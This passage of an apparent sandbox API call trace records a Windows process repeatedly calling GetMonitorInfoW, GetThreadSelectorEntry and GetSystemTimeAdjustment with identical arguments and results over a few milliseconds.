hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.155] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.155] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.155] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.156] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.156] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.156] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.157] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.157] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.157] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.157] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.157] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.157] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.157] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.157] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.157] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.157] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.157] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.157] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.157] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.157] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.157] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.157] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.157] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.157] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.157] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.157] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.157] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.159] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.159] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.159] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.159] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.159] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.159] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.159] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.159] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.159] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.159] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.159] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.159] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.159] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.159] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.159] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.159] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.159] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.160] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.160] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.160] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.161] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.161] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.161] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.162] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.162] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.162] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: 